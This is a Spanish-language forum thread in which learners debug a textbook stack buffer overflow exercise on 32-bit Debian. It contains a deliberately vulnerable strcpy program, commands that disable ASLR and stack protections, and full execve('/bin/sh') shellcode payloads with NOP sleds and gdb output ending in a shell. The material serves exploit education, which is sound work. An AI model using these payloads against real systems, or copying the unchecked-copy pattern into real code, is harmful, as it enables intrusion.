Exploiting básico (Buffer Overflow) [Ayuda]

Iniciado por d00rt, 19 Marzo 2015, 01:40 AM

0 Miembros y 2 Visitantes están viendo este tema.

d00rt

Buenas, estoy iniciándome en esto del exploiting y bueno también en lo que es la ingeniería inversa que por lo poco que he visto de ambos algo tienen en común (no se aun hasta que punto).

Estoy siguiendo el libro de "Linux Exploiting" de David Puente Castro, y no avanzo de las primeras paginas porque no consigo ejecutar una shellcode bastante sencilla, y eso que he seguido los pasos poco a poco, sin embargo a el le sale y a mi no y no tengo ni idea del porque sera.

Trabajo sobre una maquina virtual, Debian 32bits (igual que el hace en el libro) y hago lo siguiente (como el indica en el libro):

echo 0 > /proc/sys/kernel/randomize_va_space

Para eliminar una de las protecciones que trae el propio sistema operativo.

El código sobre el que quiero hacer el buffer overflow es el siguiente:


#include <string.h>
#include <stdio.h>
void func(char *arg)
{
        char nombre[32];
        strcpy(nombre, arg);
        printf("\nBienvenido a Linux Exploiting %s\n\n", nombre);
}
int main(int argc, char *argv[])
{
        if ( argc != 2 ) {
                printf("Uso: %s NOMBRE\n", argv[0]);
                exit(0);
        }
        func(argv[1]);
        printf("Fin del programa\n\n");
        return 0;
}


Como vereis en la variable Nombre es donde tengo que introducir el shellcode.

Para sobrescribir el registro EIP o RET Necesito un relleno de 44 bytes.
Con el gdb, consigo ver cual es la dirección de inicio del buffer nombre, para que después de que introduzca mi shellcode en el buffer y lo rellene con bytes de relleno meter esa dirección en la parte que sobrescribe el EIP (quiza los que sean novatos como yo no entiendan muy bien esto que he dicho ya que es un poco enredoso, pero espero que a los que sepan no les haya costado entenderlo y puedan ayudarme) La direccion de inicio del buffer nombre que me da es 0xbffff680

Ejecuto el programa de la siguiente forma:

./prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x80\xf6\xff\xbf"'`

De la misma forma que en el libro, pero lo único que cambia es la dirección a la que mandamos el registro EIP o RET ya que en cada maquina resulta diferente.

A el una vez ejecutado esto, se le ejecuta el /bin/bash mientras que a mi me sale un bonito ERROR que dice "Instrucción Ilegal", no se a que puede deberse ya que sigo los mismos pasos que el.

El programa lo ejecuto de la siguiente forma:

gcc -fno-stack-protector -z execstack prog.c -o prog

Como el indica en el libro, la única diferencia es que ami me sale un warning que me dice algo de la función exit mientras que a el no, pero no creo que sea de esto el problema.

Espero que me podáis ayudar ya que no quiero seguir avanzando sin poder conseguir esto que parece bastante básico

Gracias de antemano,
d00rt

.:UND3R:.

#1
Yo hace unos días me terminé el libro, solo te diré que si te complicó el principio del libro, te tengo malas noticias el capítulo Heap Overflow y Advance Heap Overflow es un terror, por lo menos para mi el segundo fue un caos, no estaba para nada detallado los ataques y tuve que leer bastante documentación para poder entender algo, y luego al fin logré entender casi todo, el libro es excelente, te lo recomiendo al 100% pero requiere de una base algo fuerte a lo que concierne a Ing. Inversa.

Bueno el error que te aparece es más que claro, se está intentando ejecutar una instrucción ilegal, es decir que no permitida, esto puede ocurrir por dos cosas:
1) Se está saltando a una dirección errada y no se está yendo a la shellcode.
2) Se está saltando a una zona intermedia de la shellcode lo cual genera el error.

Veamos tu Payload, debes siempre explicar cada parte de el, ya que casi nadie sabe la representación de hexadecimal a lenguaje ensamblador:

./prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x80\xf6\xff\xbf"'`

[shellcode][relleno][EIP*]

*sobre-escritura del EIP o dirección de retorno.

Intenta poner una cabecera en antes de la shellcode, te recomiendo NOPs:
./prog `perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x80\xf6\xff\xbf"'`

Debería funcionar, ahora verifica siempre poniendo BP en la zona en donde debería redireccionar el flujo del programa, en este caso "\x80\xf6\xff\xbf"', te daré un truco para que sea más cómodo diseñar tu payload en Perl, no sé por qué el autor del tutorial no lo usa, las direcciones las debes poner en orden little endian, como solución ponlas de forma normal de esta forma:
./prog `perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA" . pack('V',0xbffff680)'`

No es más cómodo?

Cuéntame que tal te va, si tienes dudas por favor dímelas, necesito repasar.

PD: puedes poner el nº de página.

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

d00rt

Buenas .:UND3R:., lo primero de todo gracias por la ayuda.

He intentado hacer eso mismo que me dijiste de poner NOP's pero tampoco me ha funcionado  >:(

Una duda que me surgió es, si al meter los NOP's debo de quitar parte del relleno es decir si antes teníamos:

[shellcode][relleno][EIP*]

y lo que he metido es 4 NOPS tendría que hacer algo así no?:

[NOPx4][shellcode][relleno-4][EIP*]

Es decir si añado 4 NOPS que cada uno ocupa 1 byte, tengo que quitar del relleno 4 bytes no? de todos modos probe de ambas formas quitando relleno y sin quitarle.

Realmente no se donde esta el problema, hoy no se si tendré tiempo para pelearme con el pero si tengo tiempo no dudes que lo intentare.

El truquillo ese que comentas la verdad es que es mucho mas cómodo que meterlo en el otro formato  ;D

Donde me quede atascado en el libro es entre las paginas 33 y 57, no consigo ejecutar ningún shellcode de los que aparecen ahí ni de las distintas formas que el propone (Aunque la del gdb para ver la dirección exacta del comienzo del buffer es la que mas claro veo)
Sin embargo al principio de esas paginas que te dije, hace un ejemplo en el sobrescribe el EIP*, y pone la dirección de donde empieza la función func() asi de esa manera ejecuta dos veces esa funcion, pues en ese caso si que me funciono, pero el resto no

Gracias otra vez por la ayuda y por tu tiempo  ::)


.:UND3R:.

Algo debe estar fallando, pero no intentaste poner breakpoint, es lo fundamental para entender el flujo del programa, por cierto debes desactivar ASLR cada vez que apagas el equipo, para saber el relleno exacto puedes usar metasploit o gspattern.pl:
https://securitythoughts.wordpress.com/2010/03/18/tool-unique-pattern-generator-for-exploit-development/

Yo creo el error es completamente tuyo o no estás rellenando la cantidad de bytes exactos, no está alineado, la shellcode no es la correcta, aquí debes usar siempre BP recuerda eso, coméntame si te resultó alguna de estas sugerencias.

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

d00rt

De nuevo .:UND3R:. gracias por la ayuda,

Cada vez que inicio la maquina virtual con la cuenta de root desactivo el ASLR con

echo 0 > /proc/sys/kernel/rondamize_va_space

Por otro lado (no se si esto sera un problema o no) postee mi problema en el grupo de CrackLatinos (Perdonad si es algun tipo de SPAM si eso editar el mensaje) en el me contestaron unos cuantos, realmente no probe todo lo que me dijeron de hecho solo probe una de las cosas que me dijeron, te voy a copiar la respues y las siguientes dudas que me surgieron por si sabrias tu donde esta el problema  :)



Aun no estoy muy familiarizado con el gdb, y vengo de utilizar el OllyDGB que tiene interfaz gráfica y todo y la verdad que se me hace bastante complicado andar con la linea de comandos e interpretar algunos resultados, pero el caso es que al ver vuestros comentarios en especial el de Boken he puesto un BreakPoint en *func+44 es decir en el return.
El shellcode es el mismo que he usado siempre y la dirección de memoria a la que tiene que saltar la he obtenido con el mismo metodo que las anteriores veces por lo que estoy haciendo exactamente el mismo proceso.

Una vez que hago:

(gdb) break *func+44

Ejecuto el programa con la shellcode el relleno y la direccion que obtuve:

(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "AAAAAAAAAAAAAAAAAAAAA" . "\xa0\xfb\xff\xbf"'`

El programa se para el breakpoint, hago que salte a la siguiente instrucción y consulto el registro EIP:

Breakpoint 1, 0x080484d8 in func (arg=0xbffffd00 "\006") at prog.c:8
8       }
(gdb) si
Cannot access memory at address 0x41414145
(gdb) x/16x $eip
0xbffffba0:     0x6850c031      0x68732f2f      0x69622f68      0x50e3896e
0xbffffbb0:     0xb0e18953      0x4180cd0b      0x41414141      0x41414141
0xbffffbc0:     0x41414141      0x41414141      0x41414141      0xbffffba0
0xbffffbd0:     0xbffffd00      0xb7ff0590      0x0804854b      0xb7fc8ff4


Efectivamente a saltado a la dirección de memoria bfffba0 y también podemos ver como esta el shellcode en esas posiciones de memoria nada mas y nada menos que como tenia que ocurrir.

Voy ejecutando instrucción a instrucción mediante "si" y al final obtengo una shell

(gdb) si
0xbffffba2 in ?? ()
(gdb) si
0xbffffba3 in ?? ()
(gdb) si
0xbffffba8 in ?? ()
(gdb) si
0xbffffbad in ?? ()
(gdb) si
0xbffffbaf in ?? ()
(gdb) si
0xbffffbb0 in ?? ()
(gdb) si
0xbffffbb1 in ?? ()
(gdb) si
0xbffffbb3 in ?? ()
(gdb) si
0xbffffbb5 in ?? ()
(gdb) si
process 3777 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
#


Por lo que he pensado en ejecutar desde el gdb otra vez lo mismo pero esta vez sin breakpoint para ver que es lo que pasaba:

(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "AAAAAAAAAAAAAAAAAAAAA" . "\xa0\xfb\xff\xbf"'`
Starting program: /home/mk/Documentos/LinuxExploiting/StackOverFlow/prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "AAAAAAAAAAAAAAAAAAAAA" . "\xa0\xfb\xff\xbf"'`

Bienvenido a Linux Exploiting 1�Ph//shh/bin��PS���
                                                  AAAAAAAAAAAAAAAAAAAAA����

process 3785 is executing new program: /bin/dash
#


Otra vez vuelvo a obtener una shell, con esto pensé que ya estaría resulto el problema por lo que me dispongo a ejecutar el programa sin usar el gdb (Es decir el mismo shellcode y la misma posición de memoria que me funcionaron en los ejemplos anteriores).
Pero... ERROR

Si escribo lo siguiente:
./prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "AAAAAAAAAAAAAAAAAAAAA" . "\xa0\xfb\xff\xbf"'
Me da un mensaje de "Violacion de segmento"

Por lo que después de esto me surgen las siguientes dudas:
¿Porque me funciona con el gdb y sin usar el gdb no me funciona?
¿Que significa lo siguiente?
(gdb) si
0xbffffba2 in ?? ()

Espero haber sido lo suficientemente claro y que me podais ayudar, gracias de antemano

d00rt

.:UND3R:.

En estos casos podrías usar printf() para obtener la dirección de la variable local de destino de la función strcpy(), como dato te comento que el libro lo desarrollé bajo la última versión de Kali Linux (tiene algunas variantes a los paso a paso del libro pero en si es muy similar) No te queda otra que probar imprimir direcciones desde afuera del programa, por cierto me imagino que tu SO es de x86, en esta área debes ser muy paciente y aprender a base de errores (depurar, depurar y depurar) intenta nuevas ideas, estás seguro de la shellcode? Intentate simplemente poner interrupciones INT 0x3 para verificar si alcanzas a llegar? Te recomiendo leer cracking en linux por Juan José (creo que ese era el nombre del autor) leete solo los capítulos GDB I y GDB II para que entiendas el funcionamiento de este fantástico debugger, si eres un peresozo, prueba con EDB (un depurador que es 99% igual a OllyDbg).

Saludos

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

.:UND3R:.

Te retiraste :/ ? Tengo mucho interés en ayudarte, pero notifica tus avances y no avances, suerte  ;-)

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

SteelHern

jaajajja, es curioso pero me encuentro con un problema muy similar al tuyo leyendo el mismo libro. El caso es que yo no intente ni ejecutar el payload aun, unicamente redirigir el flujo del programa. Para empezar, al menos en mi pc, el registro eip en la pila, no se encuentra exactamente despued del buffer.

Dump of assembler code for function main:
   0x08048574 <+0>:   push   %ebp
   0x08048575 <+1>:   mov    %esp,%ebp
   0x08048577 <+3>:   and    $0xfffffff0,%esp
   0x0804857a <+6>:   sub    $0x10,%esp
   0x0804857d <+9>:   cmpl   $0x2,0x8(%ebp)
   0x08048581 <+13>:   je     0x804859b <main+39>
   0x08048583 <+15>:   movl   $0x804866a,(%esp)
   0x0804858a <+22>:   call   0x8048390 <printf@plt>
   0x0804858f <+27>:   movl   $0x0,(%esp)
   0x08048596 <+34>:   call   0x80483e0 <exit@plt>
   0x0804859b <+39>:   mov    0xc(%ebp),%eax
   0x0804859e <+42>:   add    $0x4,%eax
   0x080485a1 <+45>:   mov    (%eax),%eax
   0x080485a3 <+47>:   mov    %eax,(%esp)
   0x080485a6 <+50>:   call   0x80484fd <func>
   0x080485ab <+55>:   movl   $0x8048686,(%esp)
   0x080485b2 <+62>:   call   0x80483c0 <puts@plt>
   0x080485b7 <+67>:   mov    $0x0,%eax
   0x080485bc <+72>:   leave 
   0x080485bd <+73>:   ret 

Aqui podemos observar como la direccion de retorno que tendria que estar guardada en la pila tendria que ser 0x080485ab. Si analizo la pila justo antes de llamar a la funcion strcpy():

0xbfffef80:   0xb7fff938   0x00000000   0x000000bf   0xbffff28c
0xbfffef90:   0xffffffff           0xbfffefbe           0xb7e22bf8   0x00000000
0xbfffefa0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffefb0:   0x00000000   0x00000000   0x00000000   0x66446a00
0xbfffefc0:   0x00000002   0xb7fc1000   0xbfffefe8           0x080485ab

Vemos como el registro eip se encuentra guardado en la pila tras 76 bytes.

Despues de esto, intente ejecutar el programa con 76 bytes de relleno y a continuacion la direccion a la que quieria redirigir el flujo, pero no hay manera.

Alguien ve en este razonamiento algun fallo?


.:UND3R:.

El problema es que están siendo muy cuadrados, la ing. Inversa junto con el exploiting es un arte de flexibilidad, debes moldearte al problema, al programa, al entorno, al sistema operativo.

El modo teórico es el siguiente:
- Encontrar en que zona se produce el desbordamiento:
luego de llamar a la función strcpy();

- Luego que sabes en donde está el problema, debes saber cuantos bytes copiar:
Usas un generador de patrones únicos y lo lanzas para ver que valor toma EIP (error al ejecutar dirección 0xXXXXXXXX) es ahí en donde debes calcular el desplazamiento.

- Con eso debes poner la dirección de que ejecutar, en este caso la dirección de la shellcode que puede ser al principio del overflow.

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

cpu2

d00rt

Estado viendo unos dias este hilo y al final me decido ha ayudarte.

Bien cuando ejecutas el programa vulnerable fuera de GDB tienes que tener en cuenta una cosa, que creo que no te diste cuenta e ella, si no es asi losiento.

Empiezas a copiar data al buffer desde argv[1], y este empieza desde perl -e printf el payload pasaria a ser argv[2] ya que entre printf y el payload hay un 0 y strcpy dejaria de copiar.

Creo que hay puede estar el fallo, estado mirando el problema en un Unix, pero creo que comparten el mismo sistema.

SteelHern

Crea un nuevo hilo, no tiene nada que ver con este aunque se parezcan.

Un saludo.